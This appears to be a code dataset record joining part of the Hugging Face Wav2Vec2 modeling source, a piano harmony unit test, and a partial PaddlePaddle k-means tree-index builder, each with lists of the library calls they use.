:obj:`attention_mask` should only be passed if the corresponding processor has\n ``config.return_attention_mask == True``. For all models whose processor has\n ``config.return_attention_mask == False``, such as `wav2vec2-base\n <https://huggingface.co/facebook/wav2vec2-base-960h>`__, :obj:`attention_mask` should **not** be passed\n to avoid degraded performance when doing batched inference. For such models :obj:`input_values` should\n simply be padded with 0 and passed without :obj:`attention_mask`. Be aware that these models also yield\n slightly different results depending on whether :obj:`input_values` is padded or not.\n\n output_attentions (:obj:`bool`, `optional`):\n Whether or not to return the attentions tensors of all attention layers. See ``attentions`` under returned\n tensors for more detail.\n output_hidden_states (:obj:`bool`, `optional`):\n Whether or not to return the hidden states of all layers. See ``hidden_states`` under returned tensors for\n more detail.\n return_dict (:obj:`bool`, `optional`):\n Whether or not to return a :class:`~transformers.file_utils.ModelOutput` instead of a plain tuple.\n\"\"\"\n\n\n@add_start_docstrings(\n \"The bare Wav2Vec2 Model transformer outputting raw hidden-states without any specific head on top.\",\n WAV_2_VEC_2_START_DOCSTRING,\n)\nclass Wav2Vec2Model(Wav2Vec2PreTrainedModel):\n def __init__(self, config: Wav2Vec2Config):\n super().__init__(config)\n self.config = config\n self.feature_extractor = Wav2Vec2FeatureExtractor(config)\n self.feature_projection = Wav2Vec2FeatureProjection(config)\n\n self.masked_spec_embed = nn.Parameter(torch.FloatTensor(config.hidden_size).uniform_())\n\n if config.do_stable_layer_norm:\n self.encoder = Wav2Vec2EncoderStableLayerNorm(config)\n else:\n self.encoder = Wav2Vec2Encoder(config)\n\n self.init_weights()\n\n def _mask_hidden_states(\n self,\n hidden_states: torch.FloatTensor,\n mask_time_indices: Optional[torch.FloatTensor] = None,\n attention_mask: Optional[torch.LongTensor] = None,\n ):\n \"\"\"\n Masks extracted features along time axis and/or along feature axis according to `SpecAugment\n <https://arxiv.org/abs/1904.08779>`__ .\n \"\"\"\n\n # `config.apply_spec_augment` can set masking to False\n if not getattr(self.config, \"apply_spec_augment\", True):\n return hidden_states\n\n # generate indices & apply SpecAugment along time axis\n batch_size, sequence_length, hidden_size = hidden_states.size()\n\n if mask_time_indices is not None:\n # apply SpecAugment along time axis with given mask_time_indices\n hidden_states[mask_time_indices] = self.masked_spec_embed.to(hidden_states.dtype)\n elif self.config.mask_time_prob > 0 and self.training:\n mask_time_indices = _compute_mask_indices(\n (batch_size, sequence_length),\n mask_prob=self.config.mask_time_prob,\n mask_length=self.config.mask_time_length,\n attention_mask=attention_mask,\n min_masks=2,\n )\n mask_time_indices = torch.tensor(mask_time_indices, device=hidden_states.device, dtype=torch.bool)\n hidden_states[mask_time_indices] = self.masked_spec_embed.to(hidden_states.dtype)\n\n if self.config.mask_feature_prob > 0 and self.training:\n # generate indices & apply SpecAugment along feature axis\n mask_feature_indices = _compute_mask_indices(\n (batch_size, hidden_size),\n mask_prob=self.config.mask_feature_prob,\n mask_length=self.config.mask_feature_length,\n )\n mask_feature_indices = torch.tensor(mask_feature_indices, device=hidden_states.device, dtype=torch.bool)[\n :, None\n ].expand(-1, sequence_length, -1)\n hidden_states[mask_feature_indices] = 0\n\n return hidden_states\n\n @add_start_docstrings_to_model_forward(WAV_2_VEC_2_INPUTS_DOCSTRING)\n @add_code_sample_docstrings(\n processor_class=_PROCESSOR_FOR_DOC,\n checkpoint=_CHECKPOINT_FOR_DOC,\n output_type=Wav2Vec2BaseModelOutput,\n config_class=_CONFIG_FOR_DOC,\n modality=\"audio\",\n )\n def forward(\n self,\n input_values,\n attention_mask=None,\n mask_time_indices=None,\n output_attentions=None,\n output_hidden_states=None,\n return_dict=None,\n ):\n output_attentions = output_attentions if output_attentions is not None else self.config.output_attentions\n output_hidden_states = (\n output_hidden_states if output_hidden_states is not None else self.config.output_hidden_states\n )\n return_dict = return_dict if return_dict is not None else self.config.use_return_dict\n\n extract_features = self.feature_extractor(input_values)\n extract_features = extract_features.transpose(1, 2)\n\n if attention_mask is not None:\n # compute reduced attention_mask corresponding to feature vectors\n attention_mask = self._get_feature_vector_attention_mask(extract_features.shape[1], attention_mask)\n\n hidden_states, extract_features = self.feature_projection(extract_features)\n hidden_states = self._mask_hidden_states(\n hidden_states, mask_time_indices=mask_time_indices, attention_mask=attention_mask\n )\n\n encoder_outputs = self.encoder(\n hidden_states,\n attention_mask=attention_mask,\n output_attentions=output_attentions,\n output_hidden_states=output_hidden_states,\n return_dict=return_dict,\n )\n\n hidden_states = encoder_outputs[0]\n\n if not return_dict:\n return (hidden_states, extract_features) + encoder_outputs[1:]\n\n return Wav2Vec2BaseModelOutput(\n last_hidden_state=hidden_states,\n extract_features=extract_features,\n hidden_states=encoder_outputs.hidden_states,\n attentions=encoder_outputs.attentions,\n )\n\n\n@add_start_docstrings(\"\"\"Wav2Vec2 Model with a quantizer and `VQ` head on top. \"\"\", WAV_2_VEC_2_START_DOCSTRING)\nclass Wav2Vec2ForPreTraining(Wav2Vec2PreTrainedModel):\n def __init__(self, config: Wav2Vec2Config):\n super().__init__(config)\n self.wav2vec2 = Wav2Vec2Model(config)\n self.dropout_features = nn.Dropout(config.feat_quantizer_dropout)\n\n self.quantizer = Wav2Vec2GumbelVectorQuantizer(config)\n\n self.init_weights()\n\n # make sure that project_hid & project_q are initialized like normal linear layers\n self.project_hid = nn.Linear(config.hidden_size, config.proj_codevector_dim)\n self.project_q = nn.Linear(config.codevector_dim, config.proj_codevector_dim)\n\n def set_gumbel_temperature(self, temperature: int):\n \"\"\"\n Set the Gumbel softmax temperature to a given value. Only necessary for training\n \"\"\"\n return self.quantizer.set_temperature(temperature)\n\n def freeze_feature_extractor(self):\n \"\"\"\n Calling this function will disable the gradient computation for the feature extractor so that its parameters\n will not be updated during training.\n \"\"\"\n self.wav2vec2.feature_extractor._freeze_parameters()\n\n @staticmethod\n def compute_contrastive_logits(\n target_features: torch.FloatTensor,\n negative_features: torch.FloatTensor,\n predicted_features: torch.FloatTensor,\n temperature: int = 0.1,\n ):\n \"\"\"\n Compute logits for contrastive loss based using cosine similarity as the distance measure between\n `[positive_feature, negative_features]` and `[predicted_features]`. Additionally, temperature can be applied.\n \"\"\"\n target_features = torch.cat([target_features, negative_features], dim=0)\n\n logits = torch.cosine_similarity(predicted_features.float(), target_features.float(), dim=-1).type_as(\n target_features\n )\n\n # apply temperature\n logits = logits / temperature\n return logits\n\n @add_start_docstrings_to_model_forward(WAV_2_VEC_2_INPUTS_DOCSTRING)\n @replace_return_docstrings(output_type=Wav2Vec2ForPreTrainingOutput, config_class=_CONFIG_FOR_DOC)\n def forward(\n self,\n input_values,\n attention_mask=None,\n mask_time_indices=None,\n sampled_negative_indices=None,\n output_attentions=None,\n output_hidden_states=None,\n return_dict=None,\n ):\n r\"\"\"\n mask_time_indices (:obj:`torch.BoolTensor` of shape :obj:`(batch_size, sequence_length)`, `optional`):\n Indices to mask extracted features for contrastive loss. When in training mode, model learns to predict\n masked extracted features in `config.proj_codevector_dim` space.\n sampled_negative_indices (:obj:`torch.BoolTensor` of shape :obj:`(batch_size, sequence_length, num_negatives)`, `optional`):\n Indices indicating which quantized target vectors are used as negative sampled vectors in contrastive loss.\n Required input for pre-training.\n\n Returns:\n\n Example::\n\n >>> import torch\n >>> from transformers import Wav2Vec2FeatureExtractor, Wav2Vec2ForPreTraining\n >>> from transformers.models.wav2vec2.modeling_wav2vec2 import _compute_mask_indices\n >>> from datasets import load_dataset\n >>> import soundfile as sf\n\n >>> feature_extractor = Wav2Vec2FeatureExtractor.from_pretrained(\"patrickvonplaten/wav2vec2-base\")\n >>> model = Wav2Vec2ForPreTraining.from_pretrained(\"patrickvonplaten/wav2vec2-base\")\n\n\n >>> def map_to_array(batch):\n ... speech, _ = sf.read(batch[\"file\"])\n ... batch[\"speech\"] = speech\n ... return batch\n\n\n >>> ds = load_dataset(\"hf-internal-testing/librispeech_asr_dummy\", \"clean\", split=\"validation\")\n >>> ds = ds.map(map_to_array)\n\n >>> input_values = feature_extractor(ds[\"speech\"][0], return_tensors=\"pt\").input_values # Batch size 1\n\n >>> # compute masked indices\n >>> batch_size, raw_sequence_length = input_values.shape\n >>> sequence_length = model._get_feat_extract_output_lengths(raw_sequence_length)\n >>> mask_time_indices = _compute_mask_indices((batch_size, sequence_length), mask_prob=0.2, mask_length=2, device=model.device)\n\n >>> with torch.no_grad():\n ... outputs = model(input_values, mask_time_indices=mask_time_indices)\n\n >>> # compute cosine similarity between predicted (=projected_states) and target (=projected_quantized_states)\n >>> cosine_sim = torch.cosine_similarity(\n ... outputs.projected_states, outputs.projected_quantized_states, dim=-1\n ... )\n\n >>> # show that cosine similarity is much higher than random\n >>> assert cosine_sim[mask_time_indices].mean() > 0.5\n\n >>> # for contrastive loss training model should be put into train mode\n >>> model.train()\n >>> loss = model(input_values, mask_time_indices=mask_time_indices).loss\n \"\"\"\n\n return_dict = return_dict if return_dict is not None else self.config.use_return_dict\n\n if mask_time_indices is not None:\n mask_time_indices = mask_time_indices.to(torch.bool)\n\n outputs = self.wav2vec2(\n input_values,\n attention_mask=attention_mask,\n output_attentions=output_attentions,\n output_hidden_states=output_hidden_states,\n mask_time_indices=mask_time_indices,\n return_dict=return_dict,\n )\n\n # 1. project all transformed features (including masked) to final vq dim\n transformer_features = self.project_hid(outputs[0])\n\n # 2. quantize all (unmasked) extracted features and project to final vq dim\n extract_features = self.dropout_features(outputs[1])\n\n if attention_mask is not None:\n # compute reduced attention_mask correponding to feature vectors\n attention_mask = self._get_feature_vector_attention_mask(extract_features.shape[1], attention_mask)\n\n quantized_features, codevector_perplexity = self.quantizer(\n extract_features, mask_time_indices=mask_time_indices\n )\n quantized_features = self.project_q(quantized_features)\n\n loss = contrastive_loss = diversity_loss = None\n if sampled_negative_indices is not None:\n batch_size, sequence_length, hidden_size = quantized_features.shape\n\n # for training, we sample negatives\n # 3. sample K negatives (distractors) quantized states for contrastive loss\n # if attention_mask is passed, make sure that padded feature vectors cannot be sampled\n # sample negative quantized vectors BTC => (BxT)C\n negative_quantized_features = quantized_features.view(-1, hidden_size)[\n sampled_negative_indices.long().view(-1)\n ]\n negative_quantized_features = negative_quantized_features.view(\n batch_size, sequence_length, -1, hidden_size\n ).permute(2, 0, 1, 3)\n\n # 4. compute logits, corresponding to `logs = sim(c_t, [q_t, \\sim{q}_t]) / \\kappa`\n # of equation (3) in https://arxiv.org/pdf/2006.11477.pdf\n logits = self.compute_contrastive_logits(\n quantized_features[None, :],\n negative_quantized_features,\n transformer_features,\n self.config.contrastive_logits_temperature,\n )\n\n # 5. if a negative vector is identical to the positive (i.e. when codebook utilization is low),\n # its cosine similarity will be masked\n neg_is_pos = (quantized_features == negative_quantized_features).all(-1)\n\n if neg_is_pos.any():\n logits[1:][neg_is_pos] = float(\"-inf\")\n\n # 6. compute contrastive loss \\mathbf{L}_m = cross_entropy(logs) =\n # -log(exp(sim(c_t, q_t)/\\kappa) / \\sum_{\\sim{q}} exp(sim(c_t, \\sim{q})/\\kappa))\n logits = logits.transpose(0, 2).reshape(-1, logits.size(0))\n target = ((1 - mask_time_indices.long()) * -100).transpose(0, 1).flatten()\n\n contrastive_loss = nn.functional.cross_entropy(logits.float(), target, reduction=\"sum\")\n # 7. compute diversity loss: \\mathbf{L}_d\n num_codevectors = self.config.num_codevectors_per_group * self.config.num_codevector_groups\n diversity_loss = ((num_codevectors - codevector_perplexity) / num_codevectors) * mask_time_indices.sum()\n\n # 8. \\mathbf{L} = \\mathbf{L}_m + \\alpha * \\mathbf{L}_d\n loss = contrastive_loss + self.config.diversity_loss_weight * diversity_loss\n\n if not return_dict:\n if loss is not None:\n return (loss, transformer_features, quantized_features, codevector_perplexity) + outputs[2:]\n return (transformer_features, quantized_features, codevector_perplexity) + outputs[2:]\n\n return Wav2Vec2ForPreTrainingOutput(\n loss=loss,\n projected_states=transformer_features,\n projected_quantized_states=quantized_features,\n codevector_perplexity=codevector_perplexity,\n hidden_states=outputs.hidden_states,\n attentions=outputs.attentions,\n contrastive_loss=contrastive_loss,\n diversity_loss=diversity_loss,\n )\n\n\n@add_start_docstrings(\"\"\"Wav2Vec2 Model with a `language modeling` head on top. \"\"\", WAV_2_VEC_2_START_DOCSTRING)\nclass Wav2Vec2ForMaskedLM(Wav2Vec2PreTrainedModel):\n def __init__(self, config):\n super().__init__(config)\n\n warnings.warn(\n \"The class `Wav2Vec2ForMaskedLM` is deprecated. Please use `Wav2Vec2ForCTC` instead.\", FutureWarning\n )\n\n self.wav2vec2 = Wav2Vec2Model(config)\n self.dropout = nn.Dropout(config.final_dropout)\n self.lm_head = nn.Linear(config.hidden_size, config.vocab_size)\n\n self.init_weights()\n\n @add_start_docstrings_to_model_forward(WAV_2_VEC_2_INPUTS_DOCSTRING)\n @replace_return_docstrings(output_type=Wav2Vec2BaseModelOutput, config_class=_CONFIG_FOR_DOC)\n def forward(\n self,\n input_values,\n attention_mask=None,\n output_attentions=None,\n output_hidden_states=None,\n return_dict=None,\n labels=None,\n ):\n r\"\"\"\n labels (:obj:`torch.LongTensor` of shape :obj:`(batch_size, sequence_length, hidden_size)`, `optional`):\n TODO(PVP): Fill out when adding training\n\n Returns:\n\n Example::\n\n >>> from transformers import Wav2Vec2Processor, Wav2Vec2Model\n >>> from datasets import load_dataset\n >>> import soundfile as sf\n\n >>> processor = Wav2Vec2Processor.from_pretrained(\"facebook/wav2vec2-base-960h\")\n >>> model = Wav2Vec2ForMaskedLM.from_pretrained(\"facebook/wav2vec2-base-960h\")\n\n >>> def map_to_array(batch):\n >>> speech, _ = sf.read(batch[\"file\"])\n >>> batch[\"speech\"] = speech\n >>> return batch\n\n >>> ds = load_dataset(\"hf-internal-testing/librispeech_asr_dummy\", \"clean\", split=\"validation\")\n >>> ds = ds.map(map_to_array)\n\n >>> input_values = processor(ds[\"speech\"][0], return_tensors=\"pt\").input_values # Batch size 1\n >>> logits = model(input_values).logits\n\n >>> predicted_ids = torch.argmax(logits, dim=-1)\n >>> transcription = processor.decode(predicted_ids[0])\n \"\"\"\n\n return_dict = return_dict if return_dict is not None else self.config.use_return_dict\n\n outputs = self.wav2vec2(\n input_values,\n output_attentions=output_attentions,\n output_hidden_states=output_hidden_states,\n return_dict=return_dict,\n )\n\n hidden_states = outputs[0]\n hidden_states = self.dropout(hidden_states)\n logits = self.lm_head(hidden_states)\n\n if not return_dict:\n output = (logits,) + outputs[2:]\n return output\n\n return MaskedLMOutput(logits=logits, hidden_states=outputs.hidden_states, attentions=outputs.attentions)\n\n\n@add_start_docstrings(\n \"\"\"Wav2Vec2 Model with a `language modeling` head on top for Connectionist Temporal Classification (CTC). \"\"\",\n WAV_2_VEC_2_START_DOCSTRING,\n)\nclass Wav2Vec2ForCTC(Wav2Vec2PreTrainedModel):\n def __init__(self, config):\n super().__init__(config)\n\n self.wav2vec2 = Wav2Vec2Model(config)\n self.dropout = nn.Dropout(config.final_dropout)\n\n if config.vocab_size is None:\n raise ValueError(\n f\"You are trying to instantiate {self.__class__} with a configuration that \"\n \"does not define the vocabulary size of the language model head. Please \"\n \"instantiate the model as follows: `Wav2Vec2ForCTC.from_pretrained(..., vocab_size=vocab_size)`. \"\n \"or define `vocab_size` of your model's configuration.\"\n )\n self.lm_head = nn.Linear(config.hidden_size, config.vocab_size)\n\n self.init_weights()\n\n def freeze_feature_extractor(self):\n \"\"\"\n Calling this function will disable the gradient computation for the feature extractor so that its parameter\n will not be updated during training.\n \"\"\"\n self.wav2vec2.feature_extractor._freeze_parameters()\n\n @add_start_docstrings_to_model_forward(WAV_2_VEC_2_INPUTS_DOCSTRING)\n @add_code_sample_docstrings(\n processor_class=_PROCESSOR_FOR_DOC,\n checkpoint=_CHECKPOINT_FOR_DOC,\n output_type=CausalLMOutput,\n config_class=_CONFIG_FOR_DOC,\n )\n def forward(\n self,\n input_values,\n attention_mask=None,\n output_attentions=None,\n output_hidden_states=None,\n return_dict=None,\n labels=None,\n ):\n r\"\"\"\n labels (:obj:`torch.LongTensor` of shape :obj:`(batch_size, target_length)`, `optional`):\n Labels for connectionist temporal classification. Note that ``target_length`` has to be smaller or equal to\n the sequence length of the output logits. Indices are selected in ``[-100, 0, ..., config.vocab_size -\n 1]``. All labels set to ``-100`` are ignored (masked), the loss is only computed for labels in ``[0, ...,\n config.vocab_size - 1]``.\n \"\"\"\n\n return_dict = return_dict if return_dict is not None else self.config.use_return_dict\n\n outputs = self.wav2vec2(\n input_values,\n attention_mask=attention_mask,\n output_attentions=output_attentions,\n output_hidden_states=output_hidden_states,\n return_dict=return_dict,\n )\n\n hidden_states = outputs[0]\n hidden_states = self.dropout(hidden_states)\n\n logits = self.lm_head(hidden_states)\n\n loss = None\n if labels is not None:\n\n if labels.max() >= self.config.vocab_size:\n raise ValueError(f\"Label values must be <= vocab_size: {self.config.vocab_size}\")\n\n # retrieve loss input_lengths from attention_mask\n attention_mask = (\n attention_mask if attention_mask is not None else torch.ones_like(input_values, dtype=torch.long)\n )\n input_lengths = self._get_feat_extract_output_lengths(attention_mask.sum(-1)).to(torch.long)\n\n # assuming that padded tokens are filled with -100\n # when not being attended to\n labels_mask = labels >= 0\n target_lengths = labels_mask.sum(-1)\n flattened_targets = labels.masked_select(labels_mask)\n\n # ctc_loss doesn't support fp16\n log_probs = nn.functional.log_softmax(logits, dim=-1, dtype=torch.float32).transpose(0, 1)\n\n with torch.backends.cudnn.flags(enabled=False):\n loss = nn.functional.ctc_loss(\n log_probs,\n flattened_targets,\n input_lengths,\n target_lengths,\n blank=self.config.pad_token_id,\n reduction=self.config.ctc_loss_reduction,\n zero_infinity=self.config.ctc_zero_infinity,\n )\n\n if not return_dict:\n output = (logits,) + outputs[_HIDDEN_STATES_START_POSITION:]\n return ((loss,) + output) if loss is not None else output\n\n return CausalLMOutput(\n loss=loss, logits=logits, hidden_states=outputs.hidden_states, attentions=outputs.attentions\n )\n\n\n@add_start_docstrings(\n \"\"\"\n Wav2Vec2 Model with a sequence classification head on top (a linear layer over the pooled output) for tasks like\n SUPERB Keyword Spotting.\n \"\"\",\n WAV_2_VEC_2_START_DOCSTRING,\n)\nclass Wav2Vec2ForSequenceClassification(Wav2Vec2PreTrainedModel):\n def __init__(self, config):\n super().__init__(config)\n\n self.wav2vec2 = Wav2Vec2Model(config)\n num_layers = config.num_hidden_layers + 1 # transformer layers + input embeddings\n if config.use_weighted_layer_sum:\n self.layer_weights = nn.Parameter(torch.ones(num_layers) / num_layers)\n self.projector = nn.Linear(config.hidden_size, config.classifier_proj_size)\n self.classifier = nn.Linear(config.classifier_proj_size, config.num_labels)\n\n self.init_weights()\n\n def freeze_feature_extractor(self):\n \"\"\"\n Calling this function will disable the gradient computation for the feature extractor so that its parameters\n will not be updated during training.\n \"\"\"\n self.wav2vec2.feature_extractor._freeze_parameters()\n\n def freeze_base_model(self):\n \"\"\"\n Calling this function will disable the gradient computation for the base model so that its parameters will not\n be updated during training. Only the classification head will be updated.\n \"\"\"\n for param in self.wav2vec2.parameters():\n param.requires_grad = False\n\n @add_start_docstrings_to_model_forward(WAV_2_VEC_2_INPUTS_DOCSTRING)\n @add_code_sample_docstrings(\n processor_class=_SEQ_CLASS_PROCESSOR_FOR_DOC,\n checkpoint=_SEQ_CLASS_CHECKPOINT,\n output_type=SequenceClassifierOutput,\n config_class=_CONFIG_FOR_DOC,\n modality=\"audio\",\n )\n def forward(\n self,\n input_values,\n attention_mask=None,\n output_attentions=None,\n output_hidden_states=None,\n return_dict=None,\n labels=None,\n ):\n r\"\"\"\n labels (:obj:`torch.LongTensor` of shape :obj:`(batch_size,)`, `optional`):\n Labels for computing the sequence classification/regression loss. Indices should be in :obj:`[0, ...,\n config.num_labels - 1]`. If :obj:`config.num_labels == 1` a regression loss is computed (Mean-Square loss),\n If :obj:`config.num_labels > 1` a classification loss is computed (Cross-Entropy).\n \"\"\"\n\n return_dict = return_dict if return_dict is not None else self.config.use_return_dict\n output_hidden_states = True if self.config.use_weighted_layer_sum else output_hidden_states\n\n outputs = self.wav2vec2(\n input_values,\n attention_mask=attention_mask,\n output_attentions=output_attentions,\n output_hidden_states=output_hidden_states,\n return_dict=return_dict,\n )\n\n if self.config.use_weighted_layer_sum:\n hidden_states = outputs[_HIDDEN_STATES_START_POSITION]\n hidden_states = torch.stack(hidden_states, dim=1)\n norm_weights = nn.functional.softmax(self.layer_weights, dim=-1)\n hidden_states = (hidden_states * norm_weights.view(-1, 1, 1)).sum(dim=1)\n else:\n hidden_states = outputs[0]\n\n hidden_states = self.projector(hidden_states)\n if attention_mask is None:\n pooled_output = hidden_states.mean(dim=1)\n else:\n padding_mask = self._get_feature_vector_attention_mask(hidden_states.shape[1], attention_mask)\n hidden_states[~padding_mask] = 0.0\n pooled_output = hidden_states.sum(dim=1) / padding_mask.sum(dim=1).view(-1, 1)\n\n logits = self.classifier(pooled_output)\n\n loss = None\n if labels is not None:\n loss_fct = CrossEntropyLoss()\n loss = loss_fct(logits.view(-1, self.config.num_labels), labels.view(-1))\n\n if not return_dict:\n output = (logits,) + outputs[_HIDDEN_STATES_START_POSITION:]\n return ((loss,) + output) if loss is not None else output\n\n return SequenceClassifierOutput(\n loss=loss,\n logits=logits,\n hidden_states=outputs.hidden_states,\n attentions=outputs.attentions,\n )\n" ]
[ [ "torch.nn.Linear", "torch.cat", "numpy.random.rand", "torch.stack", "torch.nn.ModuleList", "torch.nn.init.kaiming_normal_", "torch.bmm", "torch.ones", "numpy.broadcast_to", "torch.nn.CrossEntropyLoss", "torch.nn.functional.ctc_loss", "torch.nn.LayerNorm", "torch.nn.Conv1d", "torch.nn.init.constant_", "torch.FloatTensor", "numpy.arange", "numpy.random.randint", "torch.tensor", "torch.zeros_like", "torch.zeros", "numpy.array", "numpy.zeros", "torch.nn.functional.dropout", "torch.nn.GroupNorm", "torch.nn.functional.log_softmax", "torch.nn.functional.softmax", "torch.nn.init.uniform_", "torch.nn.utils.weight_norm", "torch.log", "torch.backends.cudnn.flags", "torch.nn.Dropout", "torch.arange", "numpy.ones", "numpy.put_along_axis", "numpy.random.uniform", "torch.ones_like" ] ]
Comp-Sound-Music/interactive_piano
[ "780b18c7b6ccfde016677696fc13428a209c9efb" ]
[ "tests/test_create_harmonies.py" ]
[ "import unittest\nimport numpy as np\nfrom scipy import fftpack\nfrom piano import create_harmonies\nfrom conversion_table import name_to_key as table\n\nclass CreateHarmonies(unittest.TestCase):\n def test_create_harmonies(self):\n # reference (with permission): https://cs510sound-spring2021.zulip.cs.pdx.edu/#narrow/stream/7-general/topic/HW.203.3A.20Chord.3F/near/2239\n samp_rt = 48000\n eps = 2.\n act_freqs = [ \n 523.25,\n 554.37,\n 587.33,\n 622.25,\n 659.26,\n 698.46,\n 739.99,\n 783.99,\n 830.61,\n 880.0,\n 932.33,\n 987.77,\n 1046.5\n ]\n for i,k in enumerate(table.keys()):\n v = table[k]\n ret = create_harmonies([k])\n x = fftpack.fft(ret)\n freqs = fftpack.fftfreq(len(x)) * samp_rt\n peaks = np.argsort(np.abs(x))[-6:]\n peak = round(np.sort(freqs[peaks])[-1],2)\n diff = round(np.abs(peak-act_freqs[i]),2)\n print(f\"Test {k} -- |{peak} - {act_freqs[i]}| = {diff}\")\n self.assertTrue(diff <= eps)\n return\n\nif __name__==\"__main__\":\n unittest.main()\n" ]
[ [ "scipy.fftpack.fft", "numpy.sort", "numpy.abs" ] ]
Edouard87ljt5s/DisyInformationssysteme0
[ "082d7bc429a809c2aca8459cfc93c00ed41a340f" ]
[ "models/treebased/builder/tree_index_builder.py" ]
[ "# Copyright (c) 2021 PaddlePaddle Authors. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nfrom paddle.distributed.fleet.proto import index_dataset_pb2\nimport numpy as np\nimport struct\nimport argparse\nimport os\nimport time\nimport collections\nimport multiprocessing as mp\n\nfrom sklearn.cluster import KMeans\n\n\nclass TreeIndexBuilder:\n def __init__(self):\n self.branch = 2\n self.timeout = 5\n\n def build_by_category(self, input_filename, output_filename):\n class Item:\n def __init__(self, item_id, cat_id):\n self.item_id = item_id\n self.cat_id = cat_id\n self.code = 0\n\n def __lt__(self, other):\n return self.cat_id < other.cat_id or \\\n (self.cat_id == other.cat_id and\n self.item_id < other.item_id)\n\n items = []\n item_id_set = set()\n with open(input_filename, 'r') as f:\n for line in f:\n iterobj = line.split()\n item_id = int(iterobj[0])\n cat_id = int(iterobj[1])\n if item_id not in item_id_set:\n items.append(Item(item_id, cat_id))\n item_id_set.add(item_id)\n del item_id_set\n items.sort()\n\n def gen_code(start, end, code):\n if end <= start:\n return\n if end == start + 1:\n items[start].code = code\n return\n num = int((end - start) / self.branch)\n remain = int((end - start) % self.branch)\n for i in range(self.branch):\n _sub_end = start + (i + 1) * num\n if (remain > 0):\n remain -= 1\n _sub_end += 1\n _sub_end = min(_sub_end, end)\n gen_code(start, _sub_end, self.branch * code + self.branch - i)\n start = _sub_end\n\n gen_code(0, len(items), 0)\n ids = np.array([item.item_id for item in items])\n codes = np.array([item.code for item in items])\n self.build(output_filename, ids, codes)\n\n def tree_init_by_kmeans(self, input_filename, output_filename, parall=1):\n t1 = time.time()\n ids = list()\n data = list()\n with open(input_filename) as f:\n for line in f:\n arr = line.split(',')\n if not arr:\n break\n ids.append(int(arr[0]))\n vector = list()\n for i in range(1, len(arr)):\n vector.append(float(arr[i]))\n data.append(vector)\n self.ids = np.array(ids)\n self.data = np.array(data)\n t2 = time.time()\n print(\"Read data done, {} records read, elapsed: {}\".format(\n len(ids), t2 - t1))\n\n queue = mp.Queue()\n queue.put((0, np.array(range(len(self.ids)))))\n processes = []\n pipes = []\n for _ in range(parall):\n a, b = mp.Pipe()\n p = mp.Process(target=self._train, args=(b, queue))\n processes.append(p)\n pipes.append(a)\n p.start()\n\n self.codes = np.zeros((len(self.ids), ), dtype=np.int64)\n for pipe in pipes:\n codes = pipe.recv()\n for i in range(len(codes)):\n if codes[i] > 0:\n self.codes[i] = codes[i]\n\n for p in processes:\n p.join()\n\n assert (queue.empty())\n self.build(output_filename, self.ids, self.codes, data=self.data)\n\n def _train(self, pipe, queue):\n last_size = -1\n catch_time = 0\n processed = False\n code = np.zeros((len(self.ids), ), dtype=np.int64)\n while True:\n for _ in range(5):\n try:\n pcode, index = queue.get(timeout=self.timeout)\n except:\n index = None\n if index is not None:\n break\n\n if index is None:\n if processed and (last_size <= 1024 or catch_time >= 3):\n print(\"Process {} exits\".format(os.getpid()))\n break\n else:\n print(\"Got empty job, pid: {}, time: {}\".format(os.getpid(\n ), catch_time))\n catch_time += 1\n continue\n\n processed = True\n catch_time = 0\n last_size = len(index)\n if last_size <= 1024:\n self._minbatch(pcode, index, code)\n else:\n tstart = time.time()\n left_index, right_index = self._cluster(index)\n if last_size > 1024:\n print(\"Train iteration done, pcode:{}, \"\n \"data size: {}, elapsed time: {}\"\n .format(pcode, len(index), time.time() - tstart))\n self.timeout = int(0.4 * self.timeout + 0.6 * (time.time() -\n tstart))\n if self.timeout < 5:\n self.timeout = 5\n\n if len(left_index) > 1:\n queue.put((2 * pcode + 1, left_index))\n\n if len(right_index) > 1:\n queue.put((2 * pcode + 2, right_index))\n process_count = 0\n for c in code:\n if c > 0:\n process_count += 1\n print(\"Process {} process {} items\".format(os.getpid(), process_count))\n pipe.send(code)\n\n def _minbatch(self, pcode, index, code):\n dq = collections.deque()\n dq.append((pcode, index))\n batch_size = len(index)\n tstart = time.time()\n while dq:\n pcode, index = dq.popleft()\n\n if len(index) == 2:\n code[index[0]] = 2 * pcode + 1\n code[index[1]] = 2 * pcode + 2\n continue\n\n left_index, right_index = self._cluster(index)\n if len(left_index) > 1:\n dq.append((2 * pcode + 1, left_index))\n elif len(left_index) == 1:\n code[left_index] = 2 * pcode + 1\n\n if len(right_index) > 1:\n dq.append((2 * pcode + 2, right_index))\n elif len(right_index) == 1:\n code[right_index] = 2 * pcode + 2\n\n print(\"Minbatch, batch size: {}, elapsed: {}\".format(\n batch_size, time.time() - tstart))\n\n def _cluster(self, index):\n data = self.data[index]\n kmeans = KMeans(n_clusters=2, random_state=0).fit(data)\n labels = kmeans.labels_\n l_i = np.where(labels == 0)[0]\n r_i = np.where(labels == 1)[0]\n left_index = index[l_i]\n right_index = index[r_i]\n if len(right_index) - len(left_index) > 1:\n distances = kmeans.transform(data[r_i])\n left_index, right_index = self._rebalance(left_index, right_index,\n distances[:, 1])\n elif len(left_index) - len(right_index) > 1:\n distances = kmeans.transform(data[l_i])\n left_index, right_index = self._rebalance(right_index, left_index,\n distances[:, 0])\n\n return left_index, right_index\n\n def _rebalance(self, lindex, rindex, distances):\n sorted_index = rindex[np.argsort(distances)[::-1]]\n idx = np.concatenate((lindex, sorted_index))\n mid = int(len(idx) / 2)\n return idx[mid:], idx[:mid]\n\n def build(self, output_filename, ids, codes, data=None, id_offset=None):\n # process id offset\n if not id_offset:\n max_id = 0\n for id in ids:\n if id > max_id:\n max_id = id\n id_offset = max_id + 1\n\n # sort by codes\n argindex = np.argsort(codes)\n codes = codes[argindex]\n ids = ids[argindex]\n\n # Trick, make all leaf nodes to be in same level\n min_code = 0\n max_code = codes[-1]\n while max_code > 0:\n min_code = min_code * self.branch + 1\n max_code = int((max_code - 1) / self.branch)\n\n for i in range(len(codes)):\n while codes[i] < min_code:\n codes[i] = codes[i] * self.branch + 1\n\n filter_set = set()\n max_level = 0\n tree_meta = index_dataset_pb2.TreeMeta()\n\n with open(output_filename, 'wb') as f:\n for id, code in zip(ids, codes):\n 